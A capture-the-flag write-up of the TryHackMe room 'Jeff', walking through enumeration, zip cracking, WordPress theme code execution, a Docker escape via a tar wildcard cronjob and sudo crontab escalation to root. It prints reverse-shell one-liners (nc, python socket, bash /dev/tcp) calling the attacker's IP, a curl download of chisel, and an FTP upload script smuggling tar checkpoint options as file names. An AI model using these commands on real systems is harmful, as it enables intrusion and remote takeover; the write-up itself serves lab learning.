Jeff TryHackMe Writeup

13 minute read

jeff

Jeff is a hard rated linux room in Tryhackme by jB. This writeup contains directory and file bruteforcing with gobuster, zip password cracking using john, code execution on wordpress site, docker escape using misconfigured cronjob and getting a root shell using the entry on the sudoers file.

Port Scan

All Port Scan

[email protected]:~/Documents/tryhackme/jeff$ nmap -p- --min-rate 10000 -v -oN nmap/all-ports 10.10.243.186
Nmap scan report for jeff.thm (10.10.243.186)
Host is up (0.31s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
# Nmap done at Tue Dec  8 23:45:50 2020 -- 1 IP address (1 host up) scanned in 53.49 seconds

Only two ports are open. One is SSH and another is port 80 which is running HTTP service.

Detail Nmap Scan

[email protected]:~/Documents/tryhackme/jeff$ nmap -p22,80 -sC -sV 10.10.243.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-28 19:56 +0545
Nmap scan report for 10.10.243.186
Host is up (0.38s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 7e:43:5f:1e:58:a8:fc:c9:f7:fd:4b:40:0b:83:79:32 (RSA)
|   256 5c:79:92:dd:e9:d1:46:50:70:f0:34:62:26:f0:69:39 (ECDSA)
|_  256 ce:d9:82:2b:69:5f:82:d0:f5:5c:9b:3e:be:76:88:c3 (ED25519)
80/tcp open  http    nginx
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.29 seconds

SSH doesnot have that much of attack surface, so let us start our enumeration with HTTP service.

Port 80

[email protected]:~/Documents/tryhackme/jeff$ curl http://10.10.243.186/
<!-- Did you forget to add jeff.thm to your hosts file??? -->

The home page is just a blank page with comment to remind us to add jeff.thm to our /etc/hosts file. So, lets add the entry to our hosts file.

10.10.243.186   jeff.thm

Visiting jeff.thm

1 We get a completely different page this time which looks like a personal blog for Jeff where he talks about a wordpress site and his ability to code on assembly, C and PHP.

Directory and Files Bruteforcing using Gobuster

[email protected]:~/Documents/tryhackme/jeff$ gobuster dir -u http://jeff.thm -w /usr/share/wordlists/Seclists/Discovery/Web-Content/raft-small-words.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://jeff.thm
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/Seclists/Discovery/Web-Content/raft-small-words.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/28 20:06:17 Starting gobuster
===============================================================
/admin (Status: 301)
/uploads (Status: 301)
/assets (Status: 301)
/. (Status: 301)
/backups (Status: 301)
===============================================================
2020/12/28 20:11:45 Finished
===============================================================

Here we get few more directories. I used multiple wordlists like directory-list-2.3-medium.txt, common.txt,big.txt for fuzzing at the time of enumeration and will not repeat the steps here. It is always better to use multiple wordlists during fuzzing.

So I fuzzed every directory with recusively and with different extension to find the files as well as more directories using gobuster. For example for backups, I used the extensions like zip,tar,tar.gz,bz2,rar and so on and for source_codes I used extensions like php,html,c,c++,asm and so on. I am not going to show all the gobuster result here as it is very straightforward.

Final Result from Gobuster

2

From the result, we can see that backup.zip might be intersting to us as it might contain the backup for the webserver.

Unzipping the backup file

[email protected]:~/Documents/tryhackme/jeff/http/backups$ unzip backup.zip 
Archive:  backup.zip
   creating: backup/
   creating: backup/assets/
[backup.zip] backup/assets/EnlighterJS.min.css password: 

Looks like we need password to extract the contents of the zip file.

Cracking the zip password using john

We can use john to bruteforce the password combination for the zip file.

Using zip2john to create the hash

3

zip2john comes preinstalled on most of the pen testing distros.

Using John to crack the hash

[email protected]:~# john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<zip-redacted-password>  (backup.zip)
1g 0:00:00:06 DONE (2020-12-28 09:45) 0.1533g/s 2199Kp/s 2199Kc/s 2199KC/s !!rebound!!..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And the password is cracked using rockyou.txt wordlist.

Extracting the zip file

4 From the extracted files, wpadmin.bak file looks interesting.

Contents of wpadmin.bak

[email protected]:~/Documents/tryhackme/jeff/http/backups/backup$ cat wpadmin.bak 
wordpress password is: <wordpress-redacted-password>

And we get the password for a wordpress site but the thing is we still havenot found the wordpress site.

Vhost Bruteforcing using gobuster

5

And we get a host called wordpress.jeff.thm, so let us add this entry to our /etc/hosts file.

10.10.243.186   jeff.thm wordpress.jeff.thm

Visiting wordpress.jeff.thm

6 Like the name, we get the wordpress site and we can see a post created by user jeff. So, lets try to login on the admin dashboard with user jeff and the credential that we obtained before. 7 And using those credentials, we successfully log in.

Getting a Shell as www-data inside a docker container

Now that we are the admin of the wordpress site, we can try and get a reverse shell using different techniques. Here I am going to change the content of the inactive theme and make it active to get code execution. We could have also uploaded the vulnerable plugin to get code execution.

Active theme on wordpress site

8 Twenty twenty is currently active. So lets edit the content of theme twenty seventeen.

Editing the content of index.php

9 Here I have replaced the main index.php of the theme twenty seventeen with my PHP code, which gets a file shell.sh from my local box and executes the file.

Contents of shell.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.6.31.213/9001 0>&1

Activating New theme

10

Getting a shell

11

Here I have requested the wordpress’s homepage using curl and after I made that request, the server requested our local python HTTP Server for file shell.sh and the server executes the file giving us a shell as www-data.

Getting a proper TTY

There was no python or python3 installed on the box. But after some enumeration I found that python3.7 was installed.

[email protected]:/var/www$ find / -type f -iname 'python*' 2>/dev/null
find / -type f -iname 'python*' 2>/dev/null
/usr/share/pixmaps/python3.7.xpm
/usr/share/applications/python3.7.desktop
/usr/share/binfmts/python3.7
/usr/bin/python3.7m
/usr/bin/python3.7
/var/lib/dpkg/info/python3.7-minimal.preinst
/var/lib/dpkg/info/python3.7.postinst
/var/lib/dpkg/info/python3.7.md5sums
/var/lib/dpkg/info/python3.7-minimal.postinst
/var/lib/dpkg/info/python3.7-minimal.md5sums
/var/lib/dpkg/info/python3.7-minimal.postrm
/var/lib/dpkg/info/python3.7-minimal.list
/var/lib/dpkg/info/python3.7-minimal.prerm
/var/lib/dpkg/info/python3.7.prerm
/var/lib/dpkg/info/python3.7.list
/var/lib/python/python3.7_installed

Now lets get a proper shell with auto completion feature using python3.7.

[email protected]:/var/www$ python3.7 -c 'import pty;pty.spawn("/bin/bash")'

Hit CRTL+z to background the current process and on local box type

[email protected]:~/Documents/tryhackme/jeff$ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

[email protected]:/var/www$  export TERM=xterm

Now we have a proper shell.

Manual Enumeration

[email protected]:/var/www/html$ ls -la /
total 76
drwxr-xr-x   1 root root 4096 May 18  2020 .
drwxr-xr-x   1 root root 4096 May 18  2020 ..
-rwxr-xr-x   1 root root    0 May 18  2020 .dockerenv
drwxr-xr-x   1 root root 4096 Apr 23  2020 bin
drwxr-xr-x   2 root root 4096 Feb  1  2020 boot
drwxr-xr-x   5 root root  340 Dec 28 14:10 dev
drwxr-xr-x   1 root root 4096 May 18  2020 etc
drwxr-xr-x   2 root root 4096 Feb  1  2020 home
drwxr-xr-x   1 root root 4096 Apr 23  2020 lib
drwxr-xr-x   2 root root 4096 Apr 22  2020 lib64
drwxr-xr-x   2 root root 4096 Apr 22  2020 media
drwxr-xr-x   2 root root 4096 Apr 22  2020 mnt
drwxr-xr-x   2 root root 4096 Apr 22  2020 opt
dr-xr-xr-x 115 root root    0 Dec 28 14:10 proc
drwx------   1 root root 4096 May 18  2020 root
drwxr-xr-x   1 root root 4096 Apr 23  2020 run
drwxr-xr-x   1 root root 4096 Apr 23  2020 sbin
drwxr-xr-x   2 root root 4096 Apr 22  2020 srv
dr-xr-xr-x  13 root root    0 Dec 28 14:10 sys
drwxrwxrwt   1 root root 4096 Dec 28 15:13 tmp
drwxr-xr-x   1 root root 4096 Apr 22  2020 usr
drwxr-xr-x   1 root root 4096 Apr 23  2020 var

From the presence of the file .dockerenv,we know that we are inside the docker container. So I began to manually enumerate the contents of the webserver. 12 On the webserver, I found an interesting file called ftp_backup.php.

Content of ftp_backup.php

13

Looking at this incomplete PHP script, we can see that the script is trying to connect to the FTP server on address 172.20.0.1 which is the IP for the host from which all the docker containers are hosted. But our Nmap scan showed that there was no FTP server open on the normal interface. Maybe the FTP server is configured so that it can be accessed only from the docker container.

Port forwarding using chisel

Since there is not ftp binary on the docker container, lets create a port tunnelling using chisel and access it from our local box.

Downloading Chisel Binary using curl

[email protected]:/var/www/html$ curl 10.6.31.213:8000/chisel -o /tmp/chisel
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 7192k  100 7192k    0     0   448k      0  0:00:16  0:00:16 --:--:--  850k

On local box

[email protected]:~/Documents/tryhackme/jeff/www$ sudo ./chisel server -p 1880 --reverse
2020/12/28 21:18:18 server: Reverse tunnelling enabled
2020/12/28 21:18:18 server: Fingerprint 15:5d:fc:f3:f3:fc:8a:65:71:f8:8c:8e:85:24:67:4b
2020/12/28 21:18:18 server: Listening on 0.0.0.0:1880...

On remote Box

[email protected]:/tmp$ ./chisel client 10.6.31.213:1880 R:21:172.20.0.1:21
2020/12/28 15:32:51 client: Connecting to ws://10.6.31.213:1880
2020/12/28 15:32:52 client: Fingerprint 45:7c:4d:14:00:e3:bf:5b:3d:e8:28:3b:b6:e5:8e:b0
2020/12/28 15:32:54 client: Connected (Latency 380.583908ms)

Now the port forwarding is successful.

Enumerating FTP service

14 Using the credentials, we successfully log in.

ftp> dir 
500 Illegal PORT command.
ftp: bind: Address already in use

But I was getting error while running basics commands. So I searched around to find out what those errors meant and found a article but I was not able get it to work and I was finally able to do the FTP enumeration from the python3.7 inside the docker container.

Directory Listing on FTP

[email protected]:/var/www/html$ python3.7
Python 3.7.3 (default, Dec 20 2019, 18:57:59) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ftplib
>>> session = ftplib.FTP('172.20.0.1','backupmgr','<ftp_readacted_password>')
>>> session.set_pasv(False)
>>> session.dir()
drwxr-xr-x    2 1001     1001         4096 May 18  2020 files
>>> session.cwd('files')
'250 Directory successfully changed.'
>>> session.dir()

I was able to get the directory listing when set passive mode to False. On the FTP server we have a folder and the folder files is empty.

Everytime I see a FTP server, I check if I have write permission on the server and if I have write permissions, then I check if the written files are reflected anywhere on the webserver.

Writing a file

import ftplib
session = ftplib.FTP('172.20.0.1','backupmgr','<ftp_readacted_password>')
session.set_pasv(False)
file = open('test.txt','rb')
session.cwd('files')                          # file to send
session.storbinary('STOR test.txt', file)     # send the file
file.close()                                  # close file and FTP
print(session.dir())
session.quit()

Here, I have tried to upload a file called test.txt to remote FTP server inside files directory.

Executing the script

[email protected]:/tmp$ echo 'This is a test file' > test.txt
[email protected]:/tmp$ python3.7 upload.py 
-rwxr-xr-x    1 1001     1001           20 Dec 28 16:13 test.txt
None
[email protected]:/tmp$ 

And we can clearly see that the file exists on the FTP server which means that we have write permission on the folder files. I then checked on all the sites whether the test.txt file is reflected, but I did not find anything.

Struggling at this point for some time, I thought of tar wildcard vulnerability that I have used a lot for privilege escalation on different rooms of THM. But, We can not know for sure what the user has done to implement the backup process. If the user is running a cronjob on the host to create a tar archive of all the files inside the files directory, then we can abuse that to get code execution on the host.

Using this article, I have created and uploaded 3 files.

Reverse Shell as backupmgr

Content of shell.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.6.31.213/9001 0>&1

Content of upload.py

import ftplib
session = ftplib.FTP('172.20.0.1','backupmgr','<ftp_readacted_password>')
session.set_pasv(False)
file = open('shell.sh','rb')
session.cwd('files')                          # file to send
session.storbinary('STOR shell.sh', file)     # send the file
file.close()                                  # close file and FTP
file = open('--checkpoint=1','rb')
session.storbinary('STOR ' + '--checkpoint=1', file)     # send the file
file.close()                                             # close file and FTP
file = open('--checkpoint-action=exec=sh shell.sh','rb')
session.storbinary('STOR ' + '--checkpoint-action=exec=sh shell.sh', file)     # send the file
file.close()                                                                   # close file and FTP
session.quit()

Here I have uploaded three files, one is shell.sh which contains bunch of reverse shell payloads and other two are used to abuse the tar wildcard vulnerability with will execute the file shell.sh.

Executing upload.py

15 And after a while we get a shell as backupmgr on the host.

Privilege Escalation

I ran linpeas and found a non standard binary with GUID bit set.

Searching for GUID binaries

16 Here /opt/systools/sytool binary has GUID bit set and is owned by group pwman. If we can find any misconfiguration on this binary, it will be great as the binary runs with the effective privilege of group pwman.

Reversing the binary with Ghidra

I opened a python HTTP server on the host, downloaded the binary and reversed it with ghidra.

Running the binary

17 18 We can select 3 options in which

  • 1 -> gives the list of the running processes.
  • 2 -> Dont know (Can be found after reversing)
  • 3 -> Exits the program

Main function

undefined8 main(void)

{
  char *pcVar1;
  char local_418 [1032];
  int local_10;
  int local_c;
  
  local_c = 0;
  banner();
  do {
    options();
    printf("Chose your option: ");
    pcVar1 = fgets(local_418,0x400,stdin);
    if (pcVar1 == (char *)0x0) {
      return 1;
    }
    local_10 = atoi(local_418);
    if (local_10 == 3) {
      local_c = 1;
    }
    else {
      if (local_10 < 4) {
        if (local_10 == 1) {
          system("/bin/ps aux");
        }
        else {
          if (local_10 == 2) {
            readFile();
          }
        }
      }
    }
  } while (local_c == 0);
  return 0;
}

Lokking at the code, if the option is 1, it call system with argument /bin/ps aux and if the option is 2, it calls another function called readFile().

Content of function readFile


undefined8 readFile(void)

{
  int __c;
  FILE *__stream;
  undefined8 uVar1;
  undefined4 extraout_var;
  
  __stream = fopen("message.txt","r");
  if (__stream == (FILE *)0x0) {
    __c = puts("\n\nError opening file. Please check that it exists.\n");
    uVar1 = CONCAT44(extraout_var,__c);
  }
  else {
    puts("\n");
    while( true ) {
      __c = fgetc(__stream);
      if (__c == -1) break;
      putchar(__c);
    }
    puts("\n");
    fclose(__stream);
    uVar1 = 1;
  }
  return uVar1;
}

We can see that the readFile() function is trying to read the content of the file message.txt.

File Permissions of message.txt

[email protected]:/opt/systools$ ls -la
total 32
drwxrwxrwx 2 jeff jeff   4096 May 24  2020 .
drwxr-xr-x 4 root root   4096 May 24  2020 ..
-rwxrwxrwx 1 root root    108 May 24  2020 message.txt
-rwxr-sr-x 1 jeff pwman 17160 May 24  2020 systool

We can see that the message.txt file is owned by root but has all read, write and execute permission for everyone. This means we can create a symbolic link to any file that is owned by group pwman and can read the file using the systool binary.

Finding files owned by pwman

[email protected]:/opt/systools$ find / -type f -group pwman -ls 2>/dev/null
   795411     20 -rwxr-sr-x   1 jeff     pwman       17160 May 24  2020 /opt/systools/systool
  1056230      4 -rwxr-x---   1 jeff     pwman          43 May 11  2020 /var/backups/jeff.bak

And we find two files. The jeff.bak file looks interesting. Lets try to read the content of the jeff.bak file.

Contents of /var/backups/jeff.bak

19 Here I have create a symbolic link to that file and read the file using the binary which gives us the password for jeff. Lets try to login to the box with this credentials.

Logging in as jeff using SSH

20 And we successfully log in using SSH. But it seems to have rbash as the default shell for jeff which is preventing us from executing code having / on them.

[email protected]:~$ id
-rbash: /usr/lib/command-not-found: restricted: cannot specify `/' in command names

This can be easily bypassed as we can change the user from the backupmgr using su. 21

Checking sudoers entry using sudo -l

22 It turns our user jeff can run crontab as root, which means we can open up a vim with sudo permission and can get a shell that way.

[email protected]:/opt/systools$ sudo /usr/bin/crontab -e

Spawning a bash shell from vim

23

[email protected]:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

And we have owned the box.

Reading The Flags

24